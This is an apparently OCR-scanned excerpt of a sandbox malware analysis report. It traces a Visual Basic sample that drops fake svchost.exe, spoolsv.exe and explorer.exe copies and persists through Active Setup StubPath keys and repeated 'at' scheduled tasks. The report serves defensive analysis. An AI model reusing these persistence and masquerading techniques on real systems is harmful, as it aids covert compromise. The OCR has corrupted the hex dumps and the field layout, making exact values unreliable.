HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Active Set
up\Installed Components\{F146C
9B1-VMVQ-AIRC-NUFL-
DOBAOOB4E999}

StubPath

Key Path Name Type

Copyright Joe Security LLC 2022

Length Value

56286  3c 21 44 4f 43 54 59 50
45 20 68 74 6d 6¢ 3e Oa
3c 68 74 6d 6¢ 20 6¢ 61
6e 67 3d 22 65 6e 2d 55
532220636¢c617373
3d 22 73 2d 64 61 72 6b
207369 74 65 2d 73 2d
64 61 72 6b 22 3e 0a Oa
3c 68 65 61 64 3e Oa Oa
09 3c 6d 65 74 61 20 63
68 61 72 73 65 74 3d 22
55 54 46 2d 38 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 22 76
69 65 77 70 6f 72 74 22
20 63 6f 6e 74 65 6e 74
3d 22 77 69 64 74 68 3d
64 65 76 69 63 65 2d 77
69 64 74 68 2c 20 69 6e
69 74 69 61 6¢ 2d 73 63
61 6¢ 65 3d 31 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 27 72
6f 62 6f 74 73 27 20 63 6f
6e 74 65 6e 74 3d 27 69
6e 64 65 78 2c 20 66 6f
6¢ 6¢ 6f 77 2¢ 20 6d 61
78 2d 69 6d 61 67 65 2d
7072 6576 69 65 77 3a
6¢ 61 72 67 65 2c 20 6d
61 78 2d 73 6e 69 70 70
65 74 3a 2d 31 2¢

Offset

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Type Data

unicode

unicode

unicode

c:\windows\system\explorer.exe RO

c:\windows\system\svchost.exe RO

C:\Users\user\AppData\Roaming\

Ascii Completion

<IDOCTYPE html><html
lang="en-US" class="s-
dark site-s-dark"><head>
<meta charset="UTF-8" /
><meta name="viewport"
content="width=device-
width, initial-scale=1" />
<meta name="robots’
content="index, follow,
max-image-
preview:large, max-
snippet:-1,

success or wait

Length Completion

21 success or wait
176 success or wait
284 success or wait
404 success or wait
506 success or wait
506 success or wait
506 success or wait
284 success or wait
176 success or wait
56286 success or wait

Completion

success or wait

Completion

success or wait

success or wait

success or wait

mrsys.exe MR

Old Data

New Data Completion

Count Source Address

5 41E7F2

Count Source Address

127 660ED50F
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
6 660ED50F

Count Source Address

1 429AEC

Count Source Address

1 42A185
1 42A185
1 429B7E
Source
Count Address

Symbol

URLDownloadTo
FileA

Symbol

ReadFile
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

ReadFile

Symbol

RegCreateKeyEx
A

Symbol

RegSetValueEx
A

RegSetValueEx
A

RegSetValueEx
A

Symbol
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Analysis Process: spoolsv.exe PID: 6024, Parent PID: 5300

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Antivirus matches:

Reputation:

File Activities

File Created
File Path

c:\windows\system\svchost.exe

File Deleted
File Path

7
09:09:15

05/08/2022
C:\Windows\System\spoolsv.exe

true

c:\windows\system\spoolsv.exe SE
0x400000

281050 bytes
3BA9E53239D4DCA948B4BFCBB08D7F34
true

true

Visual Basic

e Detection: 100%, Avira
e Detection: 100%, Joe Sandbox ML

low

Access

read attributes |
synchronize | file
generic read

C:\Windows\System\svchost.exe

C:\Users\user\AppData\Local\Temp\~DF6E4F50B397B92863.TMP

File Written

File Path

C:\Windows\System\svchost.exe 0

File Read

File Path

C:\Windows\System\spoolsv.exe

Offset Length Value

4096 4d 5a fd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00
00 04 00 00 00 01 00 00

Offset

Copyright Joe Security LLC 2022

Attributes

device | sparse

unknown

Options Completion

synchronous io  success or wait

non alert | non
directory file

Completion

success or wait

success or wait

Ascii Completion

MZ@!L!This program success or wait

cannot be run in DOS

mode.$1mPPPzLPOPOP

RichPPELMOp6@
Length Completion
21 success or wait

Count Source Address

2 660ED258

Count Source Address

1 660ECD92
1 660C241E

Count Source Address

185 660ED8F8

Count Source Address

64 660ED50F

Symbol

CreateFileA

Symbol
DeleteFileA

unknown

Symbol

WriteFile

Symbol

ReadFile
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Analysis Process: svchost.exe PID: 244, Parent PID: 6024

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Antivirus matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Caches

C:\Windows\system\cmsys.cmn

C:\Users\user\AppData\Local\stsys.exe

File Deleted

File Path

8

09:09:16

05/08/2022
C:\Windows\System\svchost.exe

true

c:\windows\system\svchost.exe

0x400000

281069 bytes
B61A3DA9B4DB4644497B9CC1BE87515F
true

true

Visual Basic

e Detection: 100%, Avira
e Detection: 100%, Joe Sandbox ML

low

Access Attributes

read data or list ~ device | sparse
directory | file
synchronize

read attributes |  device | sparse
synchronize | file
generic read

read attributes |  device | sparse
synchronize | file
generic read

C:\Users\user\AppData\Local\stsys.exe

Options Completion

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision

synchronous io  success or wait
non alert | non

directory file

synchronous io  success or wait

non alert | non
directory file

Completion

success or wait

File Written
File Path Offset Length Value Ascii Completion
C:\Users\user\AppData\Local\st 0 4096 4d 5a fd 00 03000000  MZ@!L!This program success or wait
sys.exe 04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40  mode.$1MPPPzLPOPOP

00 00 00 00 00 00 00 00  RichPPELMOp6@

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00
00 04 00 00 00 01 00 00

Copyright Joe Security LLC 2022

Count Source Address

1 66051D33
1 660ED258
5 660ED258

Count Source Address

1 660ECD92

Count Source Address

185 660ED8F8

Symbol

unknown

CreateFileA

CreateFileA

Symbol

DeleteFileA

Symbol

WriteFile
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File Read

File Path
C:\Windows\System\svchost.exe
C:\Users\desktop.ini
C:\Users\user\Desktop\desktop.ini
C:\Users\user\Documents\desktop.ini
C:\Users\user\Music\desktop.ini
C:\Users\user\Pictures\desktop.ini
C:\Users\user\Videos\desktop.ini
C:\Users\user\Downloads\desktop.ini
C:\Program Files (x86)\desktop.ini

C:\Windows\System\spoolsv.exe

C:\Users\user\AppData\Roaming\mrsys.exe

C:\Users\user\AppData\Local\stsys.exe

Registry Activities
Key Created

Key Path

Offset Length
unknown 21
unknown 176
unknown 284
unknown 404
unknown 506
unknown 506
unknown 506
unknown 284
unknown 176
unknown 21
unknown 21
unknown 21

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Active Setup\installed Components\{Y479C

6D0-OTRW-U5GH-S1EE-EOAC10B4EG66}

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Active Setup\installed Components\{Y479C

6D0-OTRW-U5GH-S1EE-EOAC10B4EG66}

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Active Setup\installed Components\{F146C

9B1-VMVQ-A9RC-NUFL-DOBAOOB4E999}

Key Value Created
Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Active Set
up\installed Components\{Y479C
6D0-OTRW-U5GH-S1EE-
EOAC10B4E666}

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Active Set
up\installed Components\{Y479C
6D0-OTRW-U5GH-S1EE-
EOAC10B4E666}

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Active Set
up\Installed Components\{F146C
9B1-VMVQ-A9RC-NUFL-
DOBAOOB4E999}

Key Value Modified

Key Path Name
HKEY_LOCAL_MACH  Start
INE\SYSTEM\Cont
rolSet001\Services\Sh
aredAccess

Name

StubPath

StubPath

StubPath

Type

dword

Type

unicode

unicode

unicode

Old Data

Analysis Process: spoolsv.exe PID: 404, Parent PID: 244

General

Target ID: 9

Start time: 09:09:17

Start date: 05/08/2022

Path: C:\Windows\System\spoolsv.exe
Wow64 process (32bit): true

Commandline:

Imagebase:

c:\windows\system\spoolsv.exe PR

0x400000

Copyright Joe Security LLC 2022

Data

C:\Users\user\AppData\Roaming\
mrsys.exe MR

C:\Users\user\AppData\Roaming\
mrsys.exe MR

C:\Users\user\AppData\Roaming\
mrsys.exe MR

New Data

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

Completion

success or wait

success or wait

success or wait

Completion

success or wait

Count Source Address

64

69

660ED50F
66051D33
66051D33
66051D33
66051D33
66051D33
66051D33
66051D33
66051D33
660ED50F
660ED50F
660ED50F

Count Source Address

1

34

34

429973

429973

429AEC

Count Source Address

1

34

34

429A05

429A05

429B7E

Source
Address

Count

42A025

Symbol

ReadFile
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
ReadFile
ReadFile

ReadFile

Symbol

RegCreateKeyEx
A

RegCreateKeyEx
A

RegCreateKeyEx
A

Symbol

RegSetValueEx
A

RegSetValueEx
A

RegSetValueEx
A

Symbol

RegSetValueExA
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File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

281050 bytes
3BA9E53239D4DCA948B4BFCBB08D7F34
true

true

Visual Basic

low

Analysis Process: at.exe PID: 5656, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

10

09:09:18

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

moderate

Analysis Process: conhost.exe PID: 3340, Parent PID: 5656

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

11

09:09:19

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: at.exe PID: 1016, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

12

09:09:20

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true

Copyright Joe Security LLC 2022
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Programmed in:

Reputation:

C, C++ or other language

moderate

Analysis Process: conhost.exe PID: 5132, Parent PID: 1016

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

13

09:09:21

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: svchost.exe PID: 2960, Parent PID: 564

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

14

09:09:21

05/08/2022

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
0x7ff7338d0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

high

Analysis Process: at.exe PID: 5128, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

15

09:09:26

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bhytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

moderate

Analysis Process: conhost.exe PID: 1560, Parent PID: 5128
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General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

16

09:09:26

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 1520, Parent PID: 244

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

17

09:09:27

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 5264, Parent PID: 1520

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

18

09:09:28

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 1756, Parent PID: 244

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

19

09:09:28

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

0xfc0000
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File size: 25088 bhytes

MDS5 hash: 6E495479C0213E98C8141C75807AADCY
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 380, Parent PID: 1756

General

Target ID: 20

Start time: 09:09:29

Start date: 05/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: at.exe PID: 1100, Parent PID: 244

General

Target ID: 21

Start time: 09:09:29

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\at.exe

Wow64 process (32bit): true

Commandline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase: 0xfc0000

File size: 25088 bytes

MDS5 hash: 6E495479C0213E98C8141C75807AADCY

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 2236, Parent PID: 564

General

Target ID: 22

Start time: 09:09:29

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false

privileges:

Programmed in: C, C++ or other language
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Analysis Process: conhost.exe PID: 5752, Parent PID: 1100

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

23

09:09:30

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 5160, Parent PID: 244

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

24

09:09:30

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 4764, Parent PID: 5160

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

25

09:09:31

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 6060, Parent PID: 244

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

26

09:09:31

05/08/2022
C:\Windows\SysWOW64\at.exe

true

Copyright Joe Security LLC 2022

Page 95 of 104



Commandline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

Imagebase: 0xfc0000

File size: 25088 bytes

MDS5 hash: 6E495479C0213E98C8141C75807AADCY
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5184, Parent PID: 564

General

Target ID: 27

Start time: 09:09:31

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false

privileges:

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4316, Parent PID: 6060

General

Target ID: 28

Start time: 09:09:32

Start date: 05/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: at.exe PID: 5868, Parent PID: 244

General

Target ID: 29

Start time: 09:09:32

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\at.exe

Wow64 process (32bit): true

Commandline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase: 0xfc0000

File size: 25088 bhytes

MDS5 hash: 6E495479C0213E98C8141C75807AADCY

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Copyright Joe Security LLC 2022 Page 96 of 104



Analysis Process: svchost.exe PID: 3032, Parent PID: 564

General

Target ID: 30

Start time: 09:09:32

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 5144, Parent PID: 5868

General

Target ID: 31

Start time: 09:09:33

Start date: 05/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 2956, Parent PID: 564

General

Target ID: 32

Start time: 09:09:33

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false
privileges:
Programmed in: C, C++ or other language

Analysis Process: at.exe PID: 6112, Parent PID: 244

General

Target ID: 33

Start time: 09:09:33

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\at.exe
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Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bhytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

Analysis Process: explorer.exe PID: 1564, Parent PID: 3616

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

34

09:09:34

05/08/2022
C:\Windows\System\explorer.exe

true

"C:\windows\system\explorer.exe" RO
0x400000

281083 bytes
ABF18E47BFFD6F5C4AA28B67644DBDBE
true

true

Visual Basic

Analysis Process: conhost.exe PID: 5500, Parent PID: 6112

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

35

09:09:34

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 2872, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

36

09:09:35

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true
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Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 240, Parent PID: 2872

General

Target ID: 38

Start time: 09:09:35

Start date: 05/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5652, Parent PID: 564

General

Target ID: 39

Start time: 09:09:35

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: at.exe PID: 5200, Parent PID: 244

General

Target ID: 40

Start time: 09:09:36

Start date: 05/08/2022

Path: C:\Windows\SysWOW64\at.exe

Wow64 process (32bit): true

Commandline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase: 0xfc0000

File size: 25088 bytes

MD5 hash: 6E495479C0213E98C8141C75807AADCY

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 3856, Parent PID: 5200

General
Target ID: 41
Start time: 09:09:37

Copyright Joe Security LLC 2022 Page 99 of 104



Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 5064, Parent PID: 244

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

42

09:09:37

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bytes

6E495479C0213E98C8141C75807AADCY

true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 4508, Parent PID: 5064

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

43

09:09:37

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: at.exe PID: 5140, Parent PID: 244

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

44

09:09:38

05/08/2022

C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
0xfc0000

25088 bhytes

6E495479C0213E98C8141C75807AADCY9

true
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Has administrator true
privileges:

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5484, Parent PID: 564

General

Target ID: 45

Start time: 09:09:38

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5008, Parent PID: 564

General

Target ID: 46

Start time: 09:09:38

Start date: 05/08/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase: 0x7ff7338d0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator false
privileges:
Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 5812, Parent PID: 5140

General

Target ID: 47

Start time: 09:09:38

Start date: 05/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: at.exe PID: 3816, Parent PID: 244

General
Target ID: 48
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Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

09:09:39
05/08/2022
C:\Windows\SysWOW64\at.exe

true

at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

0xfc0000

25088 bytes
6E495479C0213E98C8141C75807AADCY
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 6148, Parent PID: 3816

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

49

09:09:39

05/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

